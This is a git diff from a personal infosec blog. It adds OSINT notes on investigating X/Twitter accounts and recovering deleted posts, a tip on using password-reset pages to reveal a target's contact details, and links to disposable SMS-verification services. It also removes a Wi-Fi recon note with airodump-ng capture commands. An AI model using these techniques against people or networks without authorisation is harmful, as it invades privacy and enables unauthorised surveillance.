<h4>Receive Sms Online</h4>
<p>Free SMS verification</p>
</span>
</a>
<a href="https://receivefreesms.net" class="link-card not-prose" target="_blank">
<span>
<h4>Receive Free Sms</h4>
<p>Free SMS verification</p>
</span>
</a>
<a href="https://receive-smss.com" class="link-card not-prose" target="_blank">
<span>
<h4>Receive Free Sms</h4>
<p>Free SMS verification</p>
</span>
</a>
<a href="https://onlinesim.io/" class="link-card not-prose" target="_blank">
<span>
<h4>Online Sim</h4>
<p>SMS verification with free tier</p>
</span>
</a>
<a href="https://sms4stats.com/" class="link-card not-prose" target="_blank">
<span>
<h4>Sms 4 Sats</h4>
<p>Paid SMS verification</p>
</span>
</a>
<a href="http://sms4sat6y7lkq4vscloomatwyj33cfeddukkvujo2hkdqtmyi465spid.onion" class="link-card not-prose" target="_blank">
<span>
<h4>Sms 4 Sats (Onion)</h4>
<p>Paid SMS verification. Tor version</p>
</span>
</a>
+42
View File
@@ -0,0 +1,42 @@
---
title: "Tips"
description: "A cheatsheet of practical tips and unconventional methods for Open Source Intelligence (OSINT), focusing on advanced data visualization, information leakage detection, and utilizing web archives for historical data."
tags: ["osint"]
publishDate: 2026-05-03
---
## Visualisation
Use [OSINTracker](https://app.osintracker.com/) to visualise your findings.
It allows you to create a graph of your findings, which can help you see connections and relationships between different pieces of information.
## Forgotten passwords
To find email addresses and phone numbers associated with an account, you can click on "Forgot password?" on the login page of a website. Be careful, though, this creates notifications and can be detected by the target, and often gives your information away.
## Archive Search
- [Wayback Machine](https://web.archive.org) stores over 618 billion web captures
- [Archive.ph](https://archive.ph) creates on-demand snapshots, including for JS-heavy sites, with both a functional page and screenshot version
## Google Cache
Google keeps a cached version of most indexed pages. Access it with the `cache:` operator:
```
cache:example.com
cache:example.com/page
```
If the page has been taken down or modified, the cached version may still show the original content.
## Domain History
[VirusTotal](https://www.virustotal.com) shows the historical DNS records, subdomains, and associated IPs for any domain — useful when a site has moved or been taken down.
[ViewDNS.info](https://viewdns.info) covers WHOIS history, reverse IP, reverse MX, and port scans from a single interface.
## Bookmarklets
- [K2SOsint/Bookmarklets](https://github.com/K2SOsint/Bookmarklets)
- [tools.myosint.training](https://tools.myosint.training/)
+138
View File
@@ -0,0 +1,138 @@
---
title: "X / Twitter"
description: "Enumeration, search operators, deleted content recovery and tools for investigating X accounts."
tags: ["osint", "twitter", "x", "social-media", "enumeration"]
publishDate: 2026-04-29
---
## Key Concepts
Every account has two identifiers:
- **Handle**: `@username` (can change)
- **User ID**: numeric, permanent (survives handle changes and suspensions)
Unlike [Bluesky](/notes/osint/bluesky), X now requires a login to browse most content in the browser. The free API tier (v2) is severely limited. Most open-source scraping tools that bypassed the API (Twint, snscrape, GetOldTweets3) are broken since the 2023 API lockdown.
## Account Enumeration
### Handle to User ID
The user ID stays constant when someone changes their handle or gets suspended. Several web tools resolve it:
- [tweeterid.com](https://tweeterid.com/)
- [commentpicker.com/twitter-id.php](https://commentpicker.com/twitter-id.php)
Or via the profile page source: look for `"id_str"` in the page JSON.
### Banner last update time
The profile banner URL contains a Unix timestamp indicating when the banner was last changed:
```
https://pbs.twimg.com/profile_banners/{user_id}/{unix_timestamp}/600x200
```
Right-click the banner image and copy the URL, or inspect the page source. Convert the timestamp at [unixtimestamp.com](https://www.unixtimestamp.com/).
### Timestamp from ID (Snowflake)
Twitter IDs are Snowflake IDs: the numeric value encodes the exact creation time of a tweet or account. Extract it with:
```python
tweet_id = 1234567890123456789
timestamp_ms = (tweet_id >> 22) + 1288834974657
```
`1288834974657` is Twitter's custom epoch (Nov 4, 2010). Works on both tweet IDs and user IDs — useful to confirm account creation date without needing profile metadata.
Several online converters exist if you don't want to do it manually — search "snowflake id decoder".
### Direct profile URL by ID
Old tweet/profile URLs using numeric IDs still resolve even after handle changes:
```
https://x.com/i/user/$USER_ID
```
## Search Operators
Accessible at `x.com/search`. Operators are combinable.
| Operator | Example | Effect |
| ----------------- | -------------------------- | ------------------------ |
| `"..."` | `"exact phrase"` | Exact match |
| `from:` | `from:handle` | Posts by user |
| `to:` | `to:handle` | Posts directed at user |
| `since:` | `since:2024-01-01` | After date (YYYY-MM-DD) |
| `until:` | `until:2024-06-30` | Before date (YYYY-MM-DD) |
| `lang:` | `lang:fr` | Language (ISO 639-1) |
| `near:` | `near:"Paris" within:10km` | Geo (web only, not API) |
| `geocode:` | `geocode:48.85,2.35,5km` | Geo by coordinates |
| `filter:images` | | Posts with images |
| `filter:videos` | | Posts with videos |
| `filter:links` | | Posts with URLs |
| `filter:verified` | | Verified accounts only |
| `-filter:replies` | | Exclude replies |
| `min_retweets:` | `min_retweets:100` | Engagement threshold |
| `min_faves:` | `min_faves:500` | Engagement threshold |
| `#tag` | `#osint` | Hashtag |
| `-term` | `-spam` | Exclude term |
Boolean: spaces imply AND, use uppercase `OR` for alternatives, parentheses for grouping.
#### Direct search URL
```
https://x.com/search?q=from%3A$HANDLE+since%3A2024-01-01&f=live
```
`f=live` returns chronological results instead of relevance-ranked.
## Google Dorks
```
site:x.com "$TARGET"
site:twitter.com "$TARGET"
site:x.com/i/status "$KEYWORD"
"twitter.com/$HANDLE" OR "x.com/$HANDLE"
```
Old `twitter.com` URLs are still indexed separately from `x.com`, search both.
## Deleted and Archived Content
### Wayback Machine
```
https://web.archive.org/web/*/twitter.com/$HANDLE/status/*
https://web.archive.org/web/*/x.com/$HANDLE/status/*
```
Manually browse snapshots, or use [waybacktweets](https://github.com/claromes/waybacktweets) to batch-retrieve CDX data:
```bash
pip install waybacktweets
waybacktweets $HANDLE
```
Outputs CSV/JSON with archived tweet URLs. Useful for deleted posts and suspended accounts.
### Twayback
Web tool wrapping the same Wayback CDX API with a UI:
```
https://twayback.space/
```
Note: only works if the tweet was crawled before deletion.
### Profile history
The Wayback Machine also archives profile pages: past bios, display names, profile photos, header images. Check snapshots at:
```
https://web.archive.org/web/*/twitter.com/$HANDLE
```
-29
View File
@@ -1,29 +0,0 @@
---
title: "Recon Checklist"
description: "Structured approach to reconnaissance before an engagement."
category: "Methodology"
tags: ["recon", "methodology", "checklist"]
publishDate: 2026-04-24
---
A quick checklist to follow before diving into exploitation.
## Network
- [ ] Discover live hosts — [Nmap](/notes/nmap-basics)
- [ ] Identify open ports and services — [Nmap](/notes/nmap-basics)
- [ ] Banner grab with [Netcat](/notes/netcat)
- [ ] Check for wireless networks — [Wifi Recon](/notes/wifi-recon)
## Web
- [ ] Spider the target
- [ ] Intercept traffic — [Burp Suite](/notes/burpsuite-basics)
- [ ] Check for common vulns (SQLi, XSS, LFI)
- [ ] Review JS files for endpoints and secrets
## Notes
- Document everything as you go
- Screenshot evidence
- Note service versions for CVE lookups
-44
View File
@@ -1,44 +0,0 @@
---
title: "Wifi Recon"
description: "Passive and active reconnaissance on wireless networks."
category: "Wifi"
tags: ["wifi", "recon", "aircrack", "monitor-mode"]
publishDate: 2026-04-24
---
Before attacking a wifi network, map the environment. Combine with [Nmap](/notes/nmap-basics) once connected.
## Enable Monitor Mode
```bash
sudo airmon-ng check kill
sudo airmon-ng start wlan0
# Interface becomes wlan0mon
```
## Scan Networks
```bash
# Passive scan — all channels
sudo airodump-ng wlan0mon
# Target a specific AP
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
```
## Key Fields
| Field | Description |
|-------|-------------|
| BSSID | AP MAC address |
| PWR | Signal strength |
| #Data | Data frames (useful for WEP) |
| ENC | Encryption type |
| ESSID | Network name |
## Disable Monitor Mode
```bash
sudo airmon-ng stop wlan0mon
sudo systemctl restart NetworkManager
```
+229 -117
View File
@@ -7,7 +7,7 @@
"login_name": "", "login_name": "",
"source_id": 0, "source_id": 0,
"full_name": "Hadi", "full_name": "Hadi",
"email": "anotherhadi@noreply.git.hadi.icu", "email": "1+anotherhadi@noreply.git.hadi.icu",
"avatar_url": "https://git.hadi.icu/avatars/a6f9dd8586f079ec7619ade21789a3c5dad02d7869f74a3cca0c976c81b8c9ae", "avatar_url": "https://git.hadi.icu/avatars/a6f9dd8586f079ec7619ade21789a3c5dad02d7869f74a3cca0c976c81b8c9ae",
"html_url": "https://git.hadi.icu/anotherhadi", "html_url": "https://git.hadi.icu/anotherhadi",
"language": "", "language": "",
@@ -34,7 +34,7 @@
"fork": false, "fork": false,
"template": false, "template": false,
"mirror": true, "mirror": true,
"size": 429945, "size": 430163,
"language": "Nix", "language": "Nix",
"languages_url": "https://git.hadi.icu/api/v1/repos/anotherhadi/nixy/languages", "languages_url": "https://git.hadi.icu/api/v1/repos/anotherhadi/nixy/languages",
"html_url": "https://git.hadi.icu/anotherhadi/nixy", "html_url": "https://git.hadi.icu/anotherhadi/nixy",
@@ -47,13 +47,14 @@
"stars_count": 0, "stars_count": 0,
"forks_count": 0, "forks_count": 0,
"watchers_count": 1, "watchers_count": 1,
"branch_count": 1,
"open_issues_count": 0, "open_issues_count": 0,
"open_pr_counter": 0, "open_pr_counter": 0,
"release_counter": 0, "release_counter": 0,
"default_branch": "main", "default_branch": "main",
"archived": false, "archived": false,
"created_at": "2026-03-30T17:31:04+02:00", "created_at": "2026-03-30T17:31:04+02:00",
"updated_at": "2026-04-23T09:52:11+02:00", "updated_at": "2026-05-07T09:47:53+02:00",
"archived_at": "1970-01-01T01:00:00+01:00", "archived_at": "1970-01-01T01:00:00+01:00",
"permissions": { "permissions": {
"admin": false, "admin": false,
@@ -90,7 +91,7 @@
"internal": false, "internal": false,
"mirror_interval": "8h0m0s", "mirror_interval": "8h0m0s",
"object_format_name": "sha1", "object_format_name": "sha1",
"mirror_updated": "2026-04-23T11:17:25+02:00", "mirror_updated": "2026-05-07T16:22:32+02:00",
"topics": [ "topics": [
"dotfiles", "dotfiles",
"hyprland", "hyprland",
@@ -106,6 +107,220 @@
}, },
"banner_url": "https://git.hadi.icu/anotherhadi/nixy/raw/branch/main/.github/assets/banner.png" "banner_url": "https://git.hadi.icu/anotherhadi/nixy/raw/branch/main/.github/assets/banner.png"
}, },
{
"id": 9,
"owner": {
"id": 1,
"login": "anotherhadi",
"login_name": "",
"source_id": 0,
"full_name": "Hadi",
"email": "1+anotherhadi@noreply.git.hadi.icu",
"avatar_url": "https://git.hadi.icu/avatars/a6f9dd8586f079ec7619ade21789a3c5dad02d7869f74a3cca0c976c81b8c9ae",
"html_url": "https://git.hadi.icu/anotherhadi",
"language": "",
"is_admin": false,
"last_login": "0001-01-01T00:00:00Z",
"created": "2026-03-30T17:21:50+02:00",
"restricted": false,
"active": false,
"prohibit_login": false,
"location": "127.0.0.1",
"website": "https://hadi.icu",
"description": "Infosec engineer passionate about Linux/NixOS, blockchains, OSINT & FOSS. Hacking with Go, exploring open tech, and contributing whenever I can 🐧\r\n\r\n[Github](https://github.com/anotherhadi) | [Gitlab (mirror)](https://gitlab.com/anotherhadi_mirror)",
"visibility": "public",
"followers_count": 0,
"following_count": 0,
"starred_repos_count": 0,
"username": "anotherhadi"
},
"name": "usbguard-tui",
"full_name": "anotherhadi/usbguard-tui",
"description": "A terminal UI for managing USB devices via usbguard. TUI built with golang & bubbletea.",
"empty": false,
"private": false,
"fork": false,
"template": false,
"mirror": true,
"size": 425,
"language": "Go",
"languages_url": "https://git.hadi.icu/api/v1/repos/anotherhadi/usbguard-tui/languages",
"html_url": "https://git.hadi.icu/anotherhadi/usbguard-tui",
"url": "https://git.hadi.icu/api/v1/repos/anotherhadi/usbguard-tui",
"link": "",
"ssh_url": "gitea@git.hadi.icu:anotherhadi/usbguard-tui.git",
"clone_url": "https://git.hadi.icu/anotherhadi/usbguard-tui.git",
"original_url": "https://github.com/anotherhadi/usbguard-tui",
"website": "",
"stars_count": 0,
"forks_count": 0,
"watchers_count": 1,
"branch_count": 1,
"open_issues_count": 0,
"open_pr_counter": 0,
"release_counter": 0,
"default_branch": "main",
"archived": false,
"created_at": "2026-04-30T17:40:42+02:00",
"updated_at": "2026-05-06T14:42:02+02:00",
"archived_at": "1970-01-01T01:00:00+01:00",
"permissions": {
"admin": false,
"push": false,
"pull": true
},
"has_code": true,
"has_issues": true,
"internal_tracker": {
"enable_time_tracker": true,
"allow_only_contributors_to_track_time": true,
"enable_issue_dependencies": true
},
"has_wiki": true,
"has_pull_requests": false,
"has_projects": true,
"projects_mode": "all",
"has_releases": true,
"has_packages": true,
"has_actions": false,
"ignore_whitespace_conflicts": false,
"allow_merge_commits": false,
"allow_rebase": false,
"allow_rebase_explicit": false,
"allow_squash_merge": false,
"allow_fast_forward_only_merge": false,
"allow_rebase_update": false,
"allow_manual_merge": true,
"autodetect_manual_merge": false,
"default_delete_branch_after_merge": false,
"default_merge_style": "merge",
"default_allow_maintainer_edit": false,
"avatar_url": "",
"internal": false,
"mirror_interval": "8h0m0s",
"object_format_name": "sha1",
"mirror_updated": "2026-05-07T12:42:33+02:00",
"topics": [
"bubbletea",
"tui",
"usbguard"
],
"licenses": [
"MIT"
],
"mirrors": {
"github": "https://github.com/anotherhadi/usbguard-tui",
"gitlab": "https://gitlab.com/anotherhadi_mirror/usbguard-tui"
},
"banner_url": "https://git.hadi.icu/anotherhadi/usbguard-tui/raw/branch/main/.github/assets/banner.png"
},
{
"id": 3,
"owner": {
"id": 1,
"login": "anotherhadi",
"login_name": "",
"source_id": 0,
"full_name": "Hadi",
"email": "1+anotherhadi@noreply.git.hadi.icu",
"avatar_url": "https://git.hadi.icu/avatars/a6f9dd8586f079ec7619ade21789a3c5dad02d7869f74a3cca0c976c81b8c9ae",
"html_url": "https://git.hadi.icu/anotherhadi",
"language": "",
"is_admin": false,
"last_login": "0001-01-01T00:00:00Z",
"created": "2026-03-30T17:21:50+02:00",
"restricted": false,
"active": false,
"prohibit_login": false,
"location": "127.0.0.1",
"website": "https://hadi.icu",
"description": "Infosec engineer passionate about Linux/NixOS, blockchains, OSINT & FOSS. Hacking with Go, exploring open tech, and contributing whenever I can 🐧\r\n\r\n[Github](https://github.com/anotherhadi) | [Gitlab (mirror)](https://gitlab.com/anotherhadi_mirror)",
"visibility": "public",
"followers_count": 0,
"following_count": 0,
"starred_repos_count": 0,
"username": "anotherhadi"
},
"name": "blog",
"full_name": "anotherhadi/blog",
"description": "Thoughts, insights, and tutorials on cybersecurity, OSINT, and technology.",
"empty": false,
"private": false,
"fork": false,
"template": false,
"mirror": true,
"size": 3863,
"language": "Nix",
"languages_url": "https://git.hadi.icu/api/v1/repos/anotherhadi/blog/languages",
"html_url": "https://git.hadi.icu/anotherhadi/blog",
"url": "https://git.hadi.icu/api/v1/repos/anotherhadi/blog",
"link": "",
"ssh_url": "gitea@git.hadi.icu:anotherhadi/blog.git",
"clone_url": "https://git.hadi.icu/anotherhadi/blog.git",
"original_url": "https://github.com/anotherhadi/blog",
"website": "https://hadi.icu",
"stars_count": 0,
"forks_count": 0,
"watchers_count": 1,
"branch_count": 1,
"open_issues_count": 0,
"open_pr_counter": 0,
"release_counter": 0,
"default_branch": "main",
"archived": false,
"created_at": "2026-03-30T17:39:47+02:00",
"updated_at": "2026-05-04T17:03:05+02:00",
"archived_at": "1970-01-01T01:00:00+01:00",
"permissions": {
"admin": false,
"push": false,
"pull": true
},
"has_code": true,
"has_issues": true,
"internal_tracker": {
"enable_time_tracker": true,
"allow_only_contributors_to_track_time": true,
"enable_issue_dependencies": true
},
"has_wiki": true,
"has_pull_requests": false,
"has_projects": true,
"projects_mode": "all",
"has_releases": true,
"has_packages": true,
"has_actions": false,
"ignore_whitespace_conflicts": false,
"allow_merge_commits": false,
"allow_rebase": false,
"allow_rebase_explicit": false,
"allow_squash_merge": false,
"allow_fast_forward_only_merge": false,
"allow_rebase_update": false,
"allow_manual_merge": true,
"autodetect_manual_merge": false,
"default_delete_branch_after_merge": false,
"default_merge_style": "merge",
"default_allow_maintainer_edit": false,
"avatar_url": "https://git.hadi.icu/repo-avatars/527f936266a33d3ccfe22013ef2ca0f61e20a4941912b16e4b4e9dcb14bf4e30",
"internal": false,
"mirror_interval": "8h0m0s",
"object_format_name": "sha1",
"mirror_updated": "2026-05-07T17:22:32+02:00",
"topics": [
"blog",
"cybersecurity",
"portfolio"
],
"licenses": [
"MIT"
],
"mirrors": {
"github": "https://github.com/anotherhadi/blog",
"gitlab": "https://gitlab.com/anotherhadi_mirror/blog"
},
"banner_url": "https://git.hadi.icu/anotherhadi/blog/raw/branch/main/.github/assets/banner.png"
},
{ {
"id": 6, "id": 6,
"owner": { "owner": {
@@ -114,7 +329,7 @@
"login_name": "", "login_name": "",
"source_id": 0, "source_id": 0,
"full_name": "Hadi", "full_name": "Hadi",
"email": "anotherhadi@noreply.git.hadi.icu", "email": "1+anotherhadi@noreply.git.hadi.icu",
"avatar_url": "https://git.hadi.icu/avatars/a6f9dd8586f079ec7619ade21789a3c5dad02d7869f74a3cca0c976c81b8c9ae", "avatar_url": "https://git.hadi.icu/avatars/a6f9dd8586f079ec7619ade21789a3c5dad02d7869f74a3cca0c976c81b8c9ae",
"html_url": "https://git.hadi.icu/anotherhadi", "html_url": "https://git.hadi.icu/anotherhadi",
"language": "", "language": "",
@@ -141,7 +356,7 @@
"fork": false, "fork": false,
"template": false, "template": false,
"mirror": true, "mirror": true,
"size": 676, "size": 681,
"language": "Svelte", "language": "Svelte",
"languages_url": "https://git.hadi.icu/api/v1/repos/anotherhadi/iknowyou/languages", "languages_url": "https://git.hadi.icu/api/v1/repos/anotherhadi/iknowyou/languages",
"html_url": "https://git.hadi.icu/anotherhadi/iknowyou", "html_url": "https://git.hadi.icu/anotherhadi/iknowyou",
@@ -154,6 +369,7 @@
"stars_count": 0, "stars_count": 0,
"forks_count": 0, "forks_count": 0,
"watchers_count": 1, "watchers_count": 1,
"branch_count": 2,
"open_issues_count": 0, "open_issues_count": 0,
"open_pr_counter": 0, "open_pr_counter": 0,
"release_counter": 0, "release_counter": 0,
@@ -197,7 +413,7 @@
"internal": false, "internal": false,
"mirror_interval": "8h0m0s", "mirror_interval": "8h0m0s",
"object_format_name": "sha1", "object_format_name": "sha1",
"mirror_updated": "2026-04-23T14:17:25+02:00", "mirror_updated": "2026-05-07T20:02:34+02:00",
"topics": [ "topics": [
"osint", "osint",
"osint-tool" "osint-tool"
@@ -211,112 +427,6 @@
}, },
"banner_url": "https://git.hadi.icu/anotherhadi/iknowyou/raw/branch/main/.github/assets/banner.png" "banner_url": "https://git.hadi.icu/anotherhadi/iknowyou/raw/branch/main/.github/assets/banner.png"
}, },
{
"id": 3,
"owner": {
"id": 1,
"login": "anotherhadi",
"login_name": "",
"source_id": 0,
"full_name": "Hadi",
"email": "anotherhadi@noreply.git.hadi.icu",
"avatar_url": "https://git.hadi.icu/avatars/a6f9dd8586f079ec7619ade21789a3c5dad02d7869f74a3cca0c976c81b8c9ae",
"html_url": "https://git.hadi.icu/anotherhadi",
"language": "",
"is_admin": false,
"last_login": "0001-01-01T00:00:00Z",
"created": "2026-03-30T17:21:50+02:00",
"restricted": false,
"active": false,
"prohibit_login": false,
"location": "127.0.0.1",
"website": "https://hadi.icu",
"description": "Infosec engineer passionate about Linux/NixOS, blockchains, OSINT & FOSS. Hacking with Go, exploring open tech, and contributing whenever I can 🐧\r\n\r\n[Github](https://github.com/anotherhadi) | [Gitlab (mirror)](https://gitlab.com/anotherhadi_mirror)",
"visibility": "public",
"followers_count": 0,
"following_count": 0,
"starred_repos_count": 0,
"username": "anotherhadi"
},
"name": "blog",
"full_name": "anotherhadi/blog",
"description": "Thoughts, insights, and tutorials on cybersecurity, OSINT, and technology.",
"empty": false,
"private": false,
"fork": false,
"template": false,
"mirror": true,
"size": 3009,
"language": "Nix",
"languages_url": "https://git.hadi.icu/api/v1/repos/anotherhadi/blog/languages",
"html_url": "https://git.hadi.icu/anotherhadi/blog",
"url": "https://git.hadi.icu/api/v1/repos/anotherhadi/blog",
"link": "",
"ssh_url": "gitea@git.hadi.icu:anotherhadi/blog.git",
"clone_url": "https://git.hadi.icu/anotherhadi/blog.git",
"original_url": "https://github.com/anotherhadi/blog",
"website": "https://hadi.icu",
"stars_count": 0,
"forks_count": 0,
"watchers_count": 1,
"open_issues_count": 0,
"open_pr_counter": 0,
"release_counter": 0,
"default_branch": "main",
"archived": false,
"created_at": "2026-03-30T17:39:47+02:00",
"updated_at": "2026-04-11T17:35:02+02:00",
"archived_at": "1970-01-01T01:00:00+01:00",
"permissions": {
"admin": false,
"push": false,
"pull": true
},
"has_code": true,
"has_issues": true,
"internal_tracker": {
"enable_time_tracker": true,
"allow_only_contributors_to_track_time": true,
"enable_issue_dependencies": true
},
"has_wiki": true,
"has_pull_requests": false,
"has_projects": true,
"projects_mode": "all",
"has_releases": true,
"has_packages": true,
"has_actions": false,
"ignore_whitespace_conflicts": false,
"allow_merge_commits": false,
"allow_rebase": false,
"allow_rebase_explicit": false,
"allow_squash_merge": false,
"allow_fast_forward_only_merge": false,
"allow_rebase_update": false,
"allow_manual_merge": true,
"autodetect_manual_merge": false,
"default_delete_branch_after_merge": false,
"default_merge_style": "merge",
"default_allow_maintainer_edit": false,
"avatar_url": "https://git.hadi.icu/repo-avatars/527f936266a33d3ccfe22013ef2ca0f61e20a4941912b16e4b4e9dcb14bf4e30",
"internal": false,
"mirror_interval": "8h0m0s",
"object_format_name": "sha1",
"mirror_updated": "2026-04-23T11:17:26+02:00",
"topics": [
"blog",
"cybersecurity",
"portfolio"
],
"licenses": [
"MIT"
],
"mirrors": {
"github": "https://github.com/anotherhadi/blog",
"gitlab": "https://gitlab.com/anotherhadi_mirror/blog"
},
"banner_url": "https://git.hadi.icu/anotherhadi/blog/raw/branch/main/.github/assets/banner.png"
},
{ {
"id": 2, "id": 2,
"owner": { "owner": {
@@ -325,7 +435,7 @@
"login_name": "", "login_name": "",
"source_id": 0, "source_id": 0,
"full_name": "Hadi", "full_name": "Hadi",
"email": "anotherhadi@noreply.git.hadi.icu", "email": "1+anotherhadi@noreply.git.hadi.icu",
"avatar_url": "https://git.hadi.icu/avatars/a6f9dd8586f079ec7619ade21789a3c5dad02d7869f74a3cca0c976c81b8c9ae", "avatar_url": "https://git.hadi.icu/avatars/a6f9dd8586f079ec7619ade21789a3c5dad02d7869f74a3cca0c976c81b8c9ae",
"html_url": "https://git.hadi.icu/anotherhadi", "html_url": "https://git.hadi.icu/anotherhadi",
"language": "", "language": "",
@@ -352,7 +462,7 @@
"fork": false, "fork": false,
"template": false, "template": false,
"mirror": true, "mirror": true,
"size": 530, "size": 535,
"language": "Nix", "language": "Nix",
"languages_url": "https://git.hadi.icu/api/v1/repos/anotherhadi/default-creds/languages", "languages_url": "https://git.hadi.icu/api/v1/repos/anotherhadi/default-creds/languages",
"html_url": "https://git.hadi.icu/anotherhadi/default-creds", "html_url": "https://git.hadi.icu/anotherhadi/default-creds",
@@ -365,6 +475,7 @@
"stars_count": 0, "stars_count": 0,
"forks_count": 0, "forks_count": 0,
"watchers_count": 1, "watchers_count": 1,
"branch_count": 1,
"open_issues_count": 0, "open_issues_count": 0,
"open_pr_counter": 0, "open_pr_counter": 0,
"release_counter": 0, "release_counter": 0,
@@ -408,7 +519,7 @@
"internal": false, "internal": false,
"mirror_interval": "8h0m0s", "mirror_interval": "8h0m0s",
"object_format_name": "sha1", "object_format_name": "sha1",
"mirror_updated": "2026-04-23T11:17:25+02:00", "mirror_updated": "2026-05-07T17:12:33+02:00",
"topics": [ "topics": [
"cybersecurity", "cybersecurity",
"cybersecurity-tools", "cybersecurity-tools",
@@ -432,7 +543,7 @@
"login_name": "", "login_name": "",
"source_id": 0, "source_id": 0,
"full_name": "Hadi", "full_name": "Hadi",
"email": "anotherhadi@noreply.git.hadi.icu", "email": "1+anotherhadi@noreply.git.hadi.icu",
"avatar_url": "https://git.hadi.icu/avatars/a6f9dd8586f079ec7619ade21789a3c5dad02d7869f74a3cca0c976c81b8c9ae", "avatar_url": "https://git.hadi.icu/avatars/a6f9dd8586f079ec7619ade21789a3c5dad02d7869f74a3cca0c976c81b8c9ae",
"html_url": "https://git.hadi.icu/anotherhadi", "html_url": "https://git.hadi.icu/anotherhadi",
"language": "", "language": "",
@@ -472,6 +583,7 @@
"stars_count": 0, "stars_count": 0,
"forks_count": 0, "forks_count": 0,
"watchers_count": 1, "watchers_count": 1,
"branch_count": 1,
"open_issues_count": 0, "open_issues_count": 0,
"open_pr_counter": 0, "open_pr_counter": 0,
"release_counter": 0, "release_counter": 0,
+37 -50
View File
@@ -5,6 +5,8 @@ import TagBadge from "../components/TagBadge.astro";
import BackToTop from "../components/BackToTop.astro"; import BackToTop from "../components/BackToTop.astro";
import { ChevronLeft } from "@lucide/astro"; import { ChevronLeft } from "@lucide/astro";
import { parse } from "node-html-parser"; import { parse } from "node-html-parser";
import Author from "../components/Author.astro";
import { formatDate } from "../utils/notes";
interface Props { interface Props {
title: string; title: string;
@@ -18,18 +20,9 @@ interface Props {
const { title, description, publishDate, updatedDate, image, tags } = const { title, description, publishDate, updatedDate, image, tags } =
Astro.props; Astro.props;
function formatDate(date: Date) {
return date.toLocaleDateString("en-US", {
month: "long",
day: "numeric",
year: "numeric",
});
}
// Calculate reading time (rough estimate based on word count)
const content = await Astro.slots.render("default"); const content = await Astro.slots.render("default");
const wordCount = content.split(/\s+/).length; const wordCount = content.split(/\s+/).length;
const readingTime = Math.ceil(wordCount / 200); // Average reading speed: 200 words/min const readingTime = Math.ceil(wordCount / 200);
const root = parse(content); const root = parse(content);
const headers = root.querySelectorAll("h1, h2, h3"); const headers = root.querySelectorAll("h1, h2, h3");
@@ -37,14 +30,14 @@ const headers = root.querySelectorAll("h1, h2, h3");
const toc = headers.map((header) => ({ const toc = headers.map((header) => ({
depth: parseInt(header.tagName.replace("H", "")), depth: parseInt(header.tagName.replace("H", "")),
text: header.innerText.trim(), text: header.innerText.trim(),
slug: header.getAttribute("id"), // Astro génère l'id automatiquement slug: header.getAttribute("id"),
})); }));
--- ---
<Layout title={`${title} - Another Hadi`} description={description}> <Layout title={`${title} - Another Hadi`} description={description}>
<article class="max-w-4xl mx-auto px-4 py-20"> <article class="max-w-4xl mx-auto px-4 py-20">
<BackToTop /> <BackToTop />
<!-- Back button -->
<div class="mb-8"> <div class="mb-8">
<a href="/blog" class="btn btn-ghost btn-sm"> <a href="/blog" class="btn btn-ghost btn-sm">
<ChevronLeft size={18} /> <ChevronLeft size={18} />
@@ -52,7 +45,6 @@ const toc = headers.map((header) => ({
</a> </a>
</div> </div>
<!-- Featured Image -->
{ {
image && ( image && (
<figure class="mb-8 rounded-2xl overflow-hidden"> <figure class="mb-8 rounded-2xl overflow-hidden">
@@ -67,13 +59,12 @@ const toc = headers.map((header) => ({
) )
} }
<!-- Post Header -->
<header class="mb-8"> <header class="mb-8">
<h1 class="text-5xl font-bold mb-4">{title}</h1> <h1 class="text-5xl font-bold mb-4">{title}</h1>
<p class="text-xl text-base-content/70 mb-4">{description}</p> <p class="text-xl text-base-content/70 mb-4">{description}</p>
<div <div
class="flex flex-wrap items-center gap-4 text-sm text-base-content/60" class="flex flex-wrap items-center gap-4 text-sm text-base-content/60 mb-4"
> >
<time datetime={publishDate.toISOString()}> <time datetime={publishDate.toISOString()}>
{formatDate(publishDate)} {formatDate(publishDate)}
@@ -92,51 +83,47 @@ const toc = headers.map((header) => ({
{ {
tags && tags.length > 0 && ( tags && tags.length > 0 && (
<div class="flex flex-wrap gap-2 mt-4"> <div class="flex flex-wrap gap-2 mb-4">
{tags.map((tag) => ( {tags.map((tag) => (
<TagBadge tag={tag} /> <TagBadge tag={tag} />
))} ))}
</div> </div>
) )
} }
<Author />
</header> </header>
<!-- Divider -->
<div class="divider"></div> <div class="divider"></div>
<!-- TOC -->
{ {
toc.length > 0 && ( toc.length > 0 && (
<div class="collapse bg-base-200/50 rounded-xl mb-8 border border-base-300"> <div class="collapse bg-base-200/50 rounded-xl mb-8 border border-base-300">
<input type="checkbox" /> <input type="checkbox" />
<p class="collapse-title font-bold uppercase text-xs tracking-widest opacity-60">
<p class="collapse-title font-bold uppercase text-xs tracking-widest opacity-60"> Table of Contents
Table of Contents </p>
</p> <div class="collapse-content text-sm">
<div class="collapse-content text-sm"> <ul class="space-y-3">
<ul class="space-y-3"> {toc.map((item) => (
{toc.map((item) => ( <li
<li class={`list-none ${item.depth === 3 ? "ml-6 text-sm" : "font-medium"}`}
class={`list-none ${item.depth === 3 ? "ml-6 text-sm" : "font-medium"}`} >
> <a
<a href={`#${item.slug}`}
href={`#${item.slug}`} class="hover:link transition-all flex items-center gap-2"
class="hover:link transition-all flex items-center gap-2" >
> <span class="text-primary/40">{"#".repeat(item.depth)}</span>
<span class="text-primary/40">{"#".repeat(item.depth)}</span> {item.text}
{item.text} </a>
</a> </li>
</li> ))}
))} </ul>
</ul> </div>
</div> </div>
</div> )
<nav class="bg-base-200/50 ">
</nav>
)
} }
<!-- Post Content -->
<div <div
class="max-w-none leading-7 class="max-w-none leading-7
[&_h1]:text-4xl [&_h1]:font-bold [&_h1]:mt-8 [&_h1]:mb-4 [&_h1]:text-4xl [&_h1]:font-bold [&_h1]:mt-8 [&_h1]:mb-4
@@ -160,17 +147,17 @@ const toc = headers.map((header) => ({
<slot /> <slot />
</div> </div>
<!-- Divider -->
<div class="divider mt-12"></div> <div class="divider mt-12"></div>
<!-- Back to blog link -->
<div class="flex justify-center gap-2 mt-12"> <div class="flex justify-center gap-2 mt-12">
<div class="flex gap-3 justify-center flex-wrap text-sm"> <div class="flex gap-3 justify-center flex-wrap text-sm">
<a href="/blog" class="link link-hover">View All Posts</a> <a href="/blog" class="link link-hover">View All Posts</a>
<span class="text-base-content/30">•</span> <span class="text-base-content/30">•</span>
<a href="/#contact" class="link link-hover">Contact me</a> <a href="/#contact" class="link link-hover">Contact me</a>
<span class="text-base-content/30">•</span> <span class="text-base-content/30">•</span>
